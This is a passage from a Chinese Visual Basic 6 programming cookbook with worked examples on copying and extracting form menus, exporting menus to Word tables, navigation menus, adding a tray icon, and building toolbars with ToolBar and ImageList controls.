    iMaxCount = UBound(DesArray) + UBound(sourceFile) + 2
    
    '重新定义数组的大小
    ReDim desFile(0 To iMaxCount - 1)
    
    '将需要插入数组的前面的数据赋给新数组
    For i = 0 To iTemp - 1
        desFile(i) = DesArray(i)                                '给数组赋值
    Next i
    
    '将数组的后半部分向后移动
    For i = iMaxCount - 1 To (iTemp + UBound(sourceFile)) + 1 Step -1
        desFile(i) = DesArray(i - UBound(sourceFile) - 1)                '给数组赋值
    Next i
    
    '将需要插入的数组插入到指定的位置
    For i = iTemp To iTemp + UBound(sourceFile)
        desFile(i) = sourceFile(i - iTemp)                        '给数组赋值
    Next i
    
    '将新生成的窗体文件写回到文件中
    Open Txt_Des.Text For Output As #3
    For i = 0 To UBound(desFile)                                '循环数组变量
        Debug.Print desFile(i)                                '将数组的内容输出到立即窗口中
        Print #3, desFile(i)                                '将数组的内容写入到目标文件中
    Next i
    Close #3                                            '关闭文件
    MsgBox "菜单复制成功！", vbInformation                    '提示对话框，菜单复制完成
End Sub




在进行菜单复制的过程中，使用到了几个自定义的过程，下面分别对其进行介绍，首先使用到的是自定义过程GetMenu，用于获取窗体中的菜单，如果窗体文件中包含菜单函数的返回值为True，并将菜单存储在数组sourceFile中，如果窗体文件中不包含菜单，则函数的返回值为False。关键代码如下：



Private Function GetMenu() As Boolean                            '获取有菜单的窗体中的菜单
    Dim i As Integer                                    '定义整型变量
    Dim MyLine                                        '定义变量
    Dim ICount As Integer                                    '定义计数变量
    Dim iIndex As Integer                                    '定义变量用于记录数组的索引值
    ReDim sMenu(0 To LineCount(Txt_Source.Text))                    '重新定义数组大小
    ICount = -1                                        '给变量赋初值
    iIndex = 0                                        '给变量赋值
    Open Txt_Source.Text For Input As #1                        '打开文件
    Do While Not EOF(1)                                    '循环至文件尾
        Line Input #1, MyLine                                '读入一行数据并将其赋予某变量
        If Left(Trim(MyLine), 13) = "Begin VB.Menu" Then            '如果是菜单的开始
            If ICount = -1 Then                                '如果变量值为-1
                ICount = 1                                '将其赋值为1
            Else                                        '否则
                ICount = ICount + 1                            '变量自加1
            End If
            sMenu(iIndex) = MyLine                            '将文本内容赋给数组
            iIndex = iIndex + 1                                '变量加1
        End If
        If ICount > 0 Then                                '如果计数值大于零
            '如果当前的文本不是菜单的开始也不是菜单的结束
            If (Left(Trim(MyLine), 13) <> "Begin VB.Menu") And (Trim(MyLine) <> "End") Then
                sMenu(iIndex) = MyLine                        '将文本内容赋给数组变量
                iIndex = iIndex + 1                            '数组序号加1
            ElseIf Trim(MyLine) = "End" Then                    '如果是菜单的结束
                sMenu(iIndex) = MyLine                        '将文本的内容赋给数组变量
                iIndex = iIndex + 1                            '数组序号加1
                ICount = ICount - 1                            '计数减1
            End If
        End If
    Loop
    If iIndex = 0 Then                                    '如果序号为0
        Close #1
        GetMenu = False
        Exit Function
    End If
    ReDim sourceFile(0 To iIndex - 1)
    For i = 0 To iIndex - 1
        sourceFile(i) = sMenu(i)                                '在立即窗口中显示数据
    Next i
    Close #1                                            '关闭文件
    GetMenu = True
End Function




自定义过程ChangeArray用于将目标文件保存为数组的形式，其声明的形式如下：



Private Function ChangeArray() As String
    Dim MyLine                                        '定义变量
    Dim i, j As Integer                                    '定义整型变量
    Dim sDesArrayTemp(0 To 1000) As String                        '定义数组
    i = 0                                            '变量初始化
    Open Txt_Des.Text For Input As #2                            '打开文件
    Do While Not EOF(2)                                    '循环至文件尾
        Line Input #2, MyLine                                '读入一行数据并将其赋予某变量
        sDesArrayTemp(i) = MyLine                            '给数组赋值
        i = i + 1                                        '变量自加1
    Loop
    Close #2                                            '关闭文件
    ReDim DesArray(0 To i)                                '重新声明数组的大小
    For j = 0 To i                                        '循环给数组赋值
        DesArray(j) = sDesArrayTemp(j)                        '给数组赋值
    Next j
End Function




秘笈心法

心法领悟290：使用动态数组。

动态数组只能改变其数组元素的多少，从而改变所占内存大小，但不能改变其已经定义的数据类型。



 实例291　菜单提取器

光盘位置：光盘\MR\09\291

高级

趣味指数：[image: ]




实例说明

在撰写论文或者稿件时，需要将VB程序中的菜单提成Word表格的形式，这时就需要使用到菜单提取器程序。运行本程序，单击“提取”按钮，在弹出的“打开”对话框中选择要提取菜单的窗体，即可将窗体中的菜单提取到ListView控件中，如图9.34所示。

[image: ]
图9.34　菜单提取



同时，程序会打开Word文档将提取好的菜单再形成Word表格，显示在Word文档中。

关键技术

在本程序中将提取出来的菜单添加到Word文档中，这里需要在程序中首先引用Word对象，具体的引用方法如下：

选择“工程”/“引用”命令，在弹出的“引用”对话框中选中Microsoft Word 9.0 Object Library复选框。单击“确定”按钮，即可将该对象引用到工程中。


注意：
 这里面的9.0是系统中安装的Word的版本号，如果安装的是Word 2000，则版本号为9.0，如果安装的是Word 2003，则版本号为11.0。

（1）声明对象。

引用Word对象以后，就可以调用它，首先需要先声明对象，声明的形式如下：



    Dim wdapp As Word.Application                            '声明一个Word应用程序对象
    Dim wddoc As Word.Document                            '声明一个Word文档对象
    Dim atable As Word.Table                                '声明表格对象




（2）实例化对象。

利用Set语句将声明好的新对象赋予对象变量，将其实例化。如下面的代码：



    Set wdapp = New Word.Application                            '实例化Word应用程序对象
    Set wddoc = wdapp.Documents.Add                            '实例化Word文档对象




（3）使用Visible属性显示Word文档。



    wdapp.Visible = True




（4）利用Activate方法设置Word文档处于活动状态。



    wdapp.Activate




（5）在Word中添加表格。



Set atable = wdapp.ActiveDocument.Tables.Add(.Selection.Range, rowcount + 1, fieldscount)




（6）向表格中添加内容。



atable.Cell(1, i).Range.InsertAfter ListView1.ColumnHeaders(i)




（7）清空对象。清空表格对象、Word应用程序对象和Word文档对象。



    Set atable = Nothing                                        '清空表格对象
    Set wdapp = Nothing                                        '清空Word应用程序对象
    Set wddoc = Nothing                                        '清空Word




设计过程

（1）新建一个标准EXE工程。

（2）使用窗体的默认名，设置窗体的Caption属性为“菜单提取器”，设置BorderStyle属性为1-Fixed Single，不能改变窗体的大小。设置窗体的MinButton属性为True，“最小化”按钮可用。设置窗体的Icon属性为指定的图片。

（3）在窗体上添加一个ListView控件，该控件属于ActiveX控件，不是VB的标准控件，在使用前需要将其添加到VB的工具箱中，具体的添加方法如下：

选择“工程”/“部件”命令，在弹出的“部件”对话框中选择“控件”选项卡，在该选项卡中选中Microsoft Windows Common Controls 6.0（SP6）复选框，即可将ListView控件添加到工具箱中。

（4）在窗体上添加一个CommonDialog控件，用于打开要提取菜单的窗体文件，该控件属于ActiveX控件，不是VB的标准控件，因此在使用前需要将其添加到工具箱中，具体的添加方法如下：

选择“工程”/“部件”命令，在弹出的“部件”对话框中选择“控件”选项卡，在该选项卡中选中Microsoft Common Dialog Control 6.0（SP6）复选框，即可将ListView控件添加到工具箱中。

（5）在窗体上添加两个CommandButton控件，使用其默认名，分别设置Caption属性为“提取”和“关闭”，分别用于执行提取菜单和关闭程序的操作。

（6）单击“提取”按钮，在弹出的对话框中选择要提取菜单的窗体，程序即将窗体中菜单的相关信息提取到ListView控件中，并利用自定义过程toword将提取到ListView控件中的菜单信息再提取到Word中，程序代码如下：



Private Sub Command1_Click()
    On Error GoTo 1                                        '当出现错误，跳转到标签1
    Str = ""                                                '清空变量
    ListView1.ListItems.Clear                                    '清空ListView控件中的内容
    Dim i As Integer                                        '定义整型变量
    Dim pos As Integer                                        '
    Dim count As Integer
    Dim spacelen As Integer
    Dim freenum As Integer
    freenum = FileSystem.FreeFile                                '获取要打开的文件号
    With CommonDialog1                                        '针对CommonDialog控件执行操作
        .Filter = "*.frm|*.frm"                                    '打开*.frm的窗体文件
        .FileName = ""                                        '清空文件名
        .ShowOpen                                        '显示打开对话框
        If Trim(.FileName) = "" Then                                '如果文件名为空，则结束过程
            Exit Sub
        End If
        Open .FileName For Input As freenum                            '打开文件
        Do While Not EOF(freenum)                                '从文件头到文件尾读取文件
            i = i + 1                                        '变量加1
            Line Input #1, Str                                    '读取一行
            pos = InStr(1, Str, "Begin VB.Menu", vbTextCompare)                '获取菜单名
            If pos > 0 Then                                    '如果pos值大于0
                count = count + 1                                'count变量加1
                spacelen = ((pos - 1) \ 3 - 1) * 4
                '向ListView控件中添加相应的数据
                ListView1.ListItems.Add , "name" & count, Space(spacelen) & Trim(Right(Str, Len(Str) - pos - 12))
                ListView1.ListItems.Item(count).ListSubItems.Add , "caption" & count, ""
                ListView1.ListItems.Item(count).ListSubItems.Add , "index" & count, ""
                ListView1.ListItems.Item(count).ListSubItems.Add , "Checked" & count, "False"
                ListView1.ListItems.Item(count).ListSubItems.Add , "Enabled" & count, "True"
                ListView1.ListItems.Item(count).ListSubItems.Add , "Visible" & count, "True"
            End If
    
            '获取菜单的标题属性，并将其添加到ListView控件中
            pos = InStr(1, Str, "Caption", vbTextCompare)                    '获取标题
            If pos > 0 Then
                If count > 0 Then                                '如果count大于0
                    '将标题信息写入到ListView控件中
                    ListView1.ListItems.Item(count).ListSubItems("caption" & _
                                             count).Text = Space(spacelen) & _
                                             Replace(Trim(Right(Str, Len(Str) - pos - 16)), """", "")
                End If
            End If
    
            '获取菜单的索引属性，并将其添加到ListView控件中
            pos = InStr(1, Str, "Index", vbTextCompare)                    '索引
            If pos > 0 Then                                    '如果pos大于0
                If count > 0 Then                                '如果count大于0
                    '将索引属性写入到ListView控件中
                    ListView1.ListItems.Item(count).ListSubItems("index" & _
                                             count).Text = Space(spacelen) & _
                                             Trim(Right(Str, Len(Str) - pos - 16))
                End If
            End If
    
            '获取菜单的复选属性，并将其添加到ListView控件中
            pos = InStr(1, Str, "Checked", vbTextCompare)                    '复选
            If pos > 0 Then                                    '如果pos大于0
                If count > 0 Then                                '如果count大于0
                    '将复选属性写入到ListView控件中
                    ListView1.ListItems.Item(count).ListSubItems("Checked" & _
                                             count).Text = Replace(Trim(Right(Str, Len(Str) - pos - 21)), "'", "")
                End If
            End If
    
            '获取菜单的有效性属性，并将其添加到ListView控件中
            pos = InStr(1, Str, "Enabled", vbTextCompare)                    '有效
            If pos > 0 Then
                If count > 0 Then
                    '将有效属性写入到ListView控件中
                    ListView1.ListItems.Item(count).ListSubItems("Enabled" & _
                                             count).Text = Replace(Trim(Right(Str, Len(Str) - pos - 21)), "'", "")
                End If
            End If
    
            '获取菜单的可见性属性，并将其添加到ListView控件中
            pos = InStr(1, Str, "Visible", vbTextCompare)                    '可见
            If pos > 0 Then
                If count > 0 Then
                    '将可见属性写入到ListView控件中
                    ListView1.ListItems.Item(count).ListSubItems("Visible" & _
                                             count).Text = Replace(Trim(Right(Str, Len(Str) - pos - 21)), "'", "")
                End If
            End If
    
            '如果提取出Attribute VB_Name，则结束Do循环
            If InStr(1, Str, "Attribute VB_Name", vbTextCompare) > 0 Then
                Exit Do                                        '结束Do…Loop循环
            End If
        Loop
        Close freenum                                        '关闭文件
    End With
    toword ListView1.ListItems.count, ListView1.ColumnHeaders.count            '调用自定义过程向Word中写入菜单的信息
    Exit Sub                                                '结束过程
    '错误处理的代码
1:     If MsgBox("提取出现错误，是否生成表格？", vbYesNo) = vbYes Then        '如果出现错误
        toword ListView1.ListItems.count, ListView1.ColumnHeaders.count        '重新提取菜单
    End If
End Sub




秘笈心法

心法领悟291：Word的版本问题。

在VB中使用Word对象要先引用Word对象文件，实例291引用的是选择Microsoft Word 9.0 Object Library选项，9.0版本是Word 2000，11.0版本是Word 2003。并且Word版本向下兼容，如果引用9.0版本来操作Word 2003文件则会产生错误。


 9.4　导航菜单应用实例



 实例292　图形导航按钮

光盘位置：光盘\MR\09\292

中级

趣味指数：[image: ]




实例说明

图形导航按钮，是既带图形又具有导航作用的按钮，类似于管家婆的界面，当鼠标移到图形按钮上时，按钮凸起，如图9.35所示，当鼠标按下时，按钮凹陷，如图9.36所示。



	[image: ]

	[image: ]




	图9.35　按钮凸起效果
	图9.36　按钮凹陷效果




关键技术

实现上述效果主要使用了Shape控件和Label控件，用两个Shape控件（一个浅灰色，一个深灰色，错开重叠在一起）作凸起效果，用Label控件的BorderStyle属性（属性值为1时）作凹陷效果。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）在Form1窗体上添加Label控件和Shape控件等并设置相应属性。

（3）主要程序代码如下：



Private Sub Label1_MouseDown(Index As Integer, Button As Integer, Shift As Integer, X As Single, Y As Single)
    Shape1.Visible = False
    Shape2.Visible = False
    Label1(Index).BorderStyle = 1
End Sub
Private Sub Label1_MouseMove(Index As Integer, Button As Integer, Shift As Integer, X As Single, Y As Single)
    If Label1(Index).BorderStyle = 0 Then
        Shape1.Left = Label1(Index).Left                                '设置左边距
        Shape2.Left = Label1(Index).Left
        Shape1.Top = Label1(Index).Top                                '设置上边距
        Shape2.Top = Label1(Index).Top
        Shape1.Visible = True                                        '设置为可见
        Shape2.Visible = True
    End If
End Sub
Private Sub Label1_MouseUp(Index As Integer, Button As Integer, Shift As Integer, X As Single, Y As Single)
    Label1(Index).BorderStyle = 0
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    For i = 0 To Label1.uBound
        Label1(i).BorderStyle = 0
    Next i
    Shape1.Visible = False
    Shape2.Visible = False
End Sub




秘笈心法

心法领悟292：使用图形控件创建图形界面。

使用VB的图形控件可以创建好看的图形界面，巧妙地运用各种控件能够组合成功能强大的窗体。



 实例293　树状导航菜单

光盘位置：光盘\MR\09\293

中级

趣味指数：[image: ]




实例说明

树状菜单也是比较常用的菜单，树状菜单可以随意地收缩展开子菜单项，能够清晰地体现菜单之间的结构，增加了程序的人性化效果。本实例实现创建一个树状菜单，程序的运行效果如图9.37所示。

[image: ]
图9.37　树状导航菜单



关键技术

本实例中的树状导航菜单主要使用了TreeView控件。

TreeView控件显示Node对象的分层列表，每个Node对象均由一个标签和一个可选的位图组成。TreeView一般用于显示文档标题、索引入口、磁盘上的文件和目录、能被有效地分层显示的其他种类信息。

创建了TreeView控件之后，可以通过设置属性与调用方法对各Node对象进行操作，这些操作包括添加、删除、对齐和其他操作。可以编程展开与折回Node对象来显示或隐藏所有子节点。

TreeView控件使用由ImageList属性指定的ImageList控件，来存储显示于Node对象的位图和图标。在任何时刻，TreeView控件只能使用一个ImageList。这意味着，当TreeView控件的Style属性被设置成显示图像的样式时，TreeView控件中每一项的旁边都有一个同样大小的图像。

使用Nodes集合中的Add方法可以实现向TreeView控件动态添加树状菜单项。

Add方法可以在TreeView控件的Nodes集合中添加一个Node对象，语法如下：



object.Add(relative, relationship, key, text, image, selectedimage)




参数说明如表9.12所示。

表9.12　Add方法的参数说明



	参数
	说明



	object
	必选参数。对象表达式



	relative
	可选参数。已存在的Node对象的索引号或键值。新节点与已存在的节点间的关系，可在下一个参数relationship中找到



	relationship
	可选参数。指定的Node对象的相对位置，如设置值中所述



	key
	可选参数。唯一的字符串，可用于用Item方法检索Node



	text
	必选参数。在Node中出现的字符串



	image
	可选参数。在关联的ImageList控件中的图像的索引



	selectedimage
	可选参数。在关联的ImageList控件中的图像的索引，在Node被选中时显示





注意：
 如果在relative中没有被命名的Node对象，则新节点被放在节点顶层的最后位置。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）在Form1窗体上添加Label控件和Shape控件等并设置相应属性。

（3）主要程序代码如下：



Private Sub Form_Load()
   Dim nodX As Node                                            '定义节点对象
   Set nodX = TreeView1.Nodes.Add(, , "X1", "销售业务管理", 1)                    '添加节点
   Set nodX = TreeView1.Nodes.Add("X1", tvwChild, "C1", "客户资料管理", 2)            '添加子节点
   Set nodX = TreeView1.Nodes.Add("X1", tvwChild, "C2", "客户所购商品管理", 2)
   Set nodX = TreeView1.Nodes.Add("X1", tvwChild, "C3", "商品报价管理", 2)
   Set nodX = TreeView1.Nodes.Add("X1", tvwChild, "C4", "客户订单管理", 2)
   Set nodX = TreeView1.Nodes.Add("X1", tvwChild, "C5", "订单商品出货管理", 2)
   Set nodX = TreeView1.Nodes.Add("X1", tvwChild, "C6", "非订单商品出货管理", 2)
   Set nodX = TreeView1.Nodes.Add("X1", tvwChild, "C7", "订单商品退货管理", 2)
   Set nodX = TreeView1.Nodes.Add("X1", tvwChild, "C8", "非订单商品退货管理", 2)
   Set nodX = TreeView1.Nodes.Add("X1", tvwChild, "C9", "收款单管理", 2)
   Set nodX = TreeView1.Nodes.Add("X1", tvwChild, "C10", "客户预付款管理", 2)
   Set nodX = TreeView1.Nodes.Add("X1", tvwChild, "C11", "客户订购商品查询", 2)
   Set nodX = TreeView1.Nodes.Add("X1", tvwChild, "C12", "出货查询", 2)
   Set nodX = TreeView1.Nodes.Add("X1", tvwChild, "C13", "退货查询", 2)
   Set nodX = TreeView1.Nodes.Add(, , "X2", "采购业务管理", 1)
   Set nodX = TreeView1.Nodes.Add("X2", tvwChild, "C14", "供应商资料管理", 2)
   Set nodX = TreeView1.Nodes.Add("X2", tvwChild, "C15", "供应商所供商品管理", 2)
'…此处代码省略
   Set nodX = TreeView1.Nodes.Add(, , "X7", "帮助", 1)
   Set nodX = TreeView1.Nodes.Add("X7", tvwChild, "C49", "帮助", 2)
   Set nodX = TreeView1.Nodes.Add("X7", tvwChild, "C50", "关于", 2)
   nodX.EnsureVisible
End Sub




秘笈心法

心法领悟293：使用树状控件。

TreeView控件是ActiveX控件，其提供了一个树状的菜单样式，使用此控件，能够创建层次清晰的数据结构。此控件在以后章节中会有详细介绍。



 实例294　类似QQ式导航菜单

光盘位置：光盘\MR\09\294

中级

趣味指数：[image: ]




实例说明

QQ界面相信大家都很熟悉，其有漂亮的导航菜单和控制面板，将所有功能集成到一个小小的界面中。而且分类清楚简单易用。本实例创建一个类似于QQ的导航菜单，程序的运行效果如图9.38所示。

[image: ]
图9.38　类似于QQ的导航菜单



关键技术

在实现类似QQ式导航菜单的过程中，为简化程序，使用了控件数组。下面介绍控件数组。

控件数组是具有同一公共名称、形态、事件过程的一组控件。数组中的每个控件都有唯一索引数，可用来决定是哪个控件识别事件。控件数组是在设计时通过设置控件的Index属性规定的。Index属性（控件数组）返回或设置唯一的标识控件数组中一个控件的编号，仅当控件是控件数组的元素时是有效的。因为控件数组元素共享同一个Name属性设置，所以必须在代码中使用Index属性来指定数组中的一个特定的控件。Index必须以整数的形式（或一个能计算出一个整数的数字表达式）出现在紧接控件数组之后的圆括号内（如MyButtons(3)），也能够使用Tag属性的设置在控件数组中区分控件。

当数组中的控件识别出一个事件已经发生时，Visual Basic就调用控件数组的事件过程并把可应用的Index设置当作附加参数传递。当在运行时动态地用Load语句创建控件或用Unload语句撤销它们时，该属性也被使用。

（1）利用Load方法可以增加相应控件，下面以CommandButton控件为例。



      i = Command1.ubound + 1           '设置新增控件数组标识号
      Load Command1(i)                '添加Command控件
      Command1(i).Left = X               '设置控件位置
      Command1(i).Top =Y
      Command1(i).Caption = xxxx        '设置控件名称
      Command1(i).Visible = True




（2）使用Unload方法可以删除相应控件，下面以CommandButton控件为例。



Unload Command1(Index)       '删除Command控件




设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）在Form1窗体上添加一个CommandButton控件[image: ]
 数组（Command1(0)～Command1(4)）和一个Frame控件。

（3）在Frame1控件中添加一个Image控件数组（Image3(0)）和一个Label控件数组（Label3(0)）。

（4）主要程序代码如下：



Private Sub Command1_Click(Index As Integer)
    
    For i = 1 To Image3.Count
        If Image3.Count > 1 Then
            Unload Image3(i)
            Unload Label3(i)
        End If
    Next i
    For i = 1 To Index
        Command1(i).Top = Command1(0).Top + Command1(0).Height * (i)
    Next i
    For i = Index + 1 To Command1.Count - 1
        Frame1.Top = Command1(Index).Top + Command1(0).Height
        Command1(i).Top = Frame1.Top + Frame1.Height + Command1(0).Height * (i - Index)
    Next i
    For i = 1 To Command1(Index).Tag
        Load Image3(i)
        Load Label3(i)                                    '加载控件
        Image3(i).Picture = LoadPicture(App.Path & "\" & Index & i & ".bmp")    '显示图像
        Image3(i).Top = 900 * i - 500
        Image3(i).Left = 800
        Label3(i).Top = Image3(i).Top + 650                        '设置控件位置
        Label3(i).Left = Image3(i).Left – 100    
        Image3(i).Visible = True                                '动态添加的控件可见
        Label3(i).Visible = True
    Next i
    Select Case Index
    Case 0
        Label3(1).Caption = "文学类图书"
        Label3(2).Caption = "计算机类图书"
    Case 1
        Label3(1).Caption = "通讯类联络"
        Label3(2).Caption = "网络类联络"
        Label3(3).Caption = "书信类联络"
    Case 2
        Label3(1).Caption = "同学录"
        Label3(2).Caption = "校友录"
    Case 3
        Label3(1).Caption = "省内企业"
        Label3(2).Caption = "省外企业"
    Case 4
        Label3(1).Caption = "员工通讯录"
        Label3(2).Caption = "员工档案"
        Label3(3).Caption = "员工业绩管理"
    End Select
End Sub




秘笈心法

心法领悟294：删除控件数组中的控件。

要从控件数组中撤销一个控件，需改变该控件的Name属性设置，并删除该控件的Index属性设置。



 实例295　将程序图标添加到托盘中

光盘位置：光盘\MR\09\295

中级

趣味指数：[image: ]




实例说明

安装某些程序后，任务栏上会自动加上该程序的图标。本实例将介绍在程序运行时，如何将程序的图标添加到Windows的任务栏上、如何从任务栏去掉程序图标。运行程序，Windows任务栏上将自动出现该程序的图标，如图9.39所示。

[image: ]
图9.39　将程序图标添加到托盘中



关键技术

运用Shell_NotifyIcon函数可以实现将程序图标添加到任务栏。Shell_NotifyIcon函数可以给系统发送添加、修改、删除任务栏系统盒图标的消息，语法如下：



Private Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long




参数说明

❶ dwMessage：消息设置值。若取值为NIM_ADD(0)，表示向托盘加入图标；若值为NIM_MODIFY(1)，表示修改图标中的图标；若值为NIM_DELETE(2)，表示删除托盘中的图标。

❷ lpData：其中NOTIFYICONDATA为数据结构变量，其结构如下：



TYPE NOTIFYICONDATA
      CBSIZE AS LONG           改结构所占字节数
      HWND AS LONG            接受托盘图标消息的窗口句柄
      UID AS LONG              为图标设置的ID
      UFLAGS AS LONG          设置下面3项是否有效
      UCALLBACKMESSAGE AS LONG      消息的编号
     HICON AS LONG              托盘图标的句柄
     SZTIP AS STRING * 64        鼠标指到托盘图标时显示的提示字符串
END TYPE




设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）打开“菜单编辑器”，在Form1窗体添加一个名为sys的主菜单，并在其下建立3个子菜单。

（3）主要程序代码如下：



Const MAX_TOOLTIP As Integer = 64
 Const NIF_ICON = &H2                                  '删除图标
 Const NIF_MESSAGE = &H1
 Const NIF_TIP = &H4
 Const NIM_ADD = &H0                                  '添加图标到任务栏提示区
 Const NIM_DELETE = &H2
 Const WM_MOUSEMOVE = &H200
 Const WM_LBUTTONUP = &H202
 Const WM_RBUTTONUP = &H205
   
 Private Type NOTIFYICONDATA                    '图标类型变量
    cbSize               As Long
    hwnd                 As Long
    uID                  As Long
    uFlags               As Long
    uCallbackMessage     As Long
    hIcon                As Long
    szTip                As String * MAX_TOOLTIP
End Type
    
Private Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias "Shell_NotifyIconA" _
    (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long
    
Private nfIconData As NOTIFYICONDATA
Private Sub Form_Load()
    nfIconData.hwnd = Me.hwnd
    nfIconData.uID = Me.Icon
    nfIconData.uFlags = NIF_ICON Or NIF_MESSAGE Or NIF_TIP
    nfIconData.uCallbackMessage = WM_MOUSEMOVE
    nfIconData.hIcon = Me.Icon.Handle
    nfIconData.szTip = "System Tray Example" & vbNullChar
    nfIconData.cbSize = Len(nfIconData)
    Call Shell_NotifyIcon(NIM_ADD, nfIconData)
    Me.Visible = False
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim lMsg As Single
    lMsg = X / Screen.TwipsPerPixelX
    If lMsg = WM_RBUTTONUP Or lMsg = WM_LBUTTONUP Then Me.PopupMenu sys
End Sub
Private Sub move_Click()
    Call Shell_NotifyIcon(NIM_DELETE, nfIconData)
End Sub
Private Sub show_Click()
    Me.Visible = True
End Sub
Private Sub exit_Click()
    Unload Me
End Sub




秘笈心法

心法领悟295：使用托盘菜单。

在托盘添加了程序图标后，还要为其设置响应事件，在窗体中设计程序菜单，使托盘图标显示一个弹出式菜单，来执行相应的程序命令。


第10章　工具栏与状态栏

工具栏应用

状态栏应用






 10.1　工具栏应用



 实例296　利用ToolBar控件创建简单的工具栏

光盘位置：光盘\MR\10\296

初级

趣味指数：[image: ]




实例说明

ToolBar是用来创建工具栏的控件，本实例实现利用ToolBar控件创建一个简单的工具栏，程序的运行效果如图10.1所示。

[image: ]
图10.1　创建简单工具栏



设计过程

下面将使用该控件创建一个简单的工具栏。

（1）ToolBar控件属于ActiveX控件，要在程序中使用这两个控件，需要打开“部件”对话框，选中Microsoft Windows Common Controls 6.0复选框，如图10.2所示。

[image: ]
图10.2　“部件”对话框



（2）单击“确定”按钮，ToolBar等控件将被添加到工具箱中，如图10.3所示，其中的就是ToolBar控件。

[image: ]
图10.3　新增的ActiveX控件



（3）在窗体上添加一个ToolBar控件，右击ToolBar控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。

（4）在“属性页”对话框中选择“按钮”选项卡，如图10.4所示。

[image: ]
图10.4　“按钮”选项卡



“按钮”选项卡下选项的说明如下。


	索引：表示每个按钮的数字编号，在ButtonClick事件中引用。

	关键字：表示每个按钮的标识名，在ButtonClick事件中引用。

	图像：ImageList对象中的图像，它的值可以是图中的Key或Index。

	值：表示按钮的状态，按下（1-tbrPressed）；没按下（0-tbrUnpressed）。



（5）单击“插入按钮”按钮，这时ToolBar控件将出现一个按钮，同时“索引”文本框可用，其值自动变为1，“标题”文本框用于输入该按钮的标题，如“打开”；“关键字”文本框用于输入该按钮的关键字（字符型，唯一地标识一个按钮），如open。


说明：
 当鼠标移到某个工具栏的按钮上时，如果需要提示信息，则在“工具提示文本”文本框中输入所要提示的文本信息，如果不需要提示信息，这一项可以为空。

（6）按照前面介绍的方法，依次添加“保存”、“另存为”、“修改”、“删除”和“退出”按钮，最后单击“确定”按钮，结果如图10.1所示。

秘笈心法

心法领悟296：快速打开“部件”对话框。

除了可以通过“工程”/“部件”命令打开“部件”对话框以外，还可以在工具箱中单击鼠标右键，在弹出的快捷菜单中选择“部件”命令，打开“部件”对话框。



 实例297　带图标的工具栏

光盘位置：光盘\MR\10\297

初级

趣味指数：[image: ]




实例说明

前面介绍了如何创建简单的工具栏，但是如果为工具栏添加上形象的图标，将会使其更加美观和生动。本实例介绍如何为工具栏添加图标，程序的运行效果如图10.5所示。

[image: ]
图10.5　制作带图标的工具栏



设计过程

ImageList是专门为其他控件提供图像列表的控件，只要某个控件绑定了它，它就可以为这个控件提供一些图像。能绑定它的控件包括ToolBar、ListView、、TabStrip、Header、ImageCombo和TreeView控件。

通过ImageList控件这一特性，即可实现带图标的工具栏，具体设计步骤如下：

（1）前面添加ToolBar控件的过程中，ImageList控件也一起添加到了工具箱中。

（2）在窗体上添加一个ImageList控件，右击ImageList控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。

（3）选择“通用”选项卡，在此选项卡中可以设置ImageHeight和ImageWidth属性以及UserColor属性。选中32×32单选按钮，然后选中“使用屏蔽颜色”复选框，如图10.6所示。

[image: ]
图10.6　设置ImageList控件的属性



（4）在“颜色”选项卡下可以设置控件的BackColor和MaskColor属性。这里没有设置这两个属性。

（5）选择“图像”选项卡，在此选项卡中单击“插入图片”按钮，然后从图片库中将需要的图片添加到“图像”下的空白框中，并且在“索引值”文本框中自动产生该图片的索引值（每添加一个图片其索引值自动加1）。

（6）为图片添加关键字和标记。“关键字”取值为字符型，类似于对象的名字，可以为空值。“标记”起到标识单个图像的作用，一般情况下也可以为空值。

所有图片添加完毕后，结果如图10.7所示。

[image: ]
图10.7　在ImageList控件中插入或删除图片



（7）如果对已添加的某一个图片不满意，则先用鼠标选中不满意的图片，然后单击“删除图片”按钮，将该图片删除，然后再重新添加满意的图片即可。

（8）打开前面制作的简单工具栏，使用鼠标右击ToolBar控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。

（9）在“属性页”对话框中选择“通用”选项卡，在“图像列表”下拉列表框中选择ImageList1选项，如图10.8所示。

[image: ]
图10.8　ToolBar属性页“通用”选项卡



（10）选择“按钮”选项卡，在“图像”文本框中输入与ImageList控件中图片的索引值对应的值。输入完成后，单击“确定”按钮，结果如图10.5所示。

秘笈心法

心法领悟297：添加工具提示信息。

当鼠标移到某个工具栏的按钮上时，如果需要给出提示信息，则在“工具提示文本”文本框中输入所要提示的文本信息即可，如果不需要提示信息，这一项可以为空。



 实例298　IE式工具栏

光盘位置：光盘\MR\10\298

初级

趣味指数：[image: ]




实例说明

流行软件的工具栏上的按钮是平的，当鼠标移过时才会突起，起到了一种很好的动态效果。本实例使用ToolBar控件制作类似IE工具栏的平滑按钮的工具栏，程序的运行效果如图10.9所示。

[image: ]
图10.9　IE式工具栏



设计过程

（1）按照前两个实例的方法在窗体上创建工具栏，并为工具栏添加图标。

（2）将工具栏的属性页切换到“通用”选项卡。

（3）在“通用”选项卡中的“样式”下拉列表框中选择1-tbrFlat选项，显示为平滑的按钮，如图10.10所示。

[image: ]
图10.10　修改按钮样式



（4）平滑的工具栏按钮需要使用分割线将按钮分组，以使按钮更加容易区分。选择“按钮”选项卡，将当前按钮调整到索引值为3，单击“插入按钮”按钮。

（5）将新插入按钮的“样式”设置为3-tbrSeparator，使其显示为一个分割线的样式。另一条分割线添加方法与此相同。设置完成后单击“确定”按钮保存设置即可。

秘笈心法

心法领悟298：设置按钮样式。

在工具栏控件的“属性页”对话框中，可以设置工具栏按钮样式，可将其设置为平滑样式和按钮样式。读者可根据自己的喜好进行设置。



 实例299　带提示功能的工具栏

光盘位置：光盘\MR\10\299

